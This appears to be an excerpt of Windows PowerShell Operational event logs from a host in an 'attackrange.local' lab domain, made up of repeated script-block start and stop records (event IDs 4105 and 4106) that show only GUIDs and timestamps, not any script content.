Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048696
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048695
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048690
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048689
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048667
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048666
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048665
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048664
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048648
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048647
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
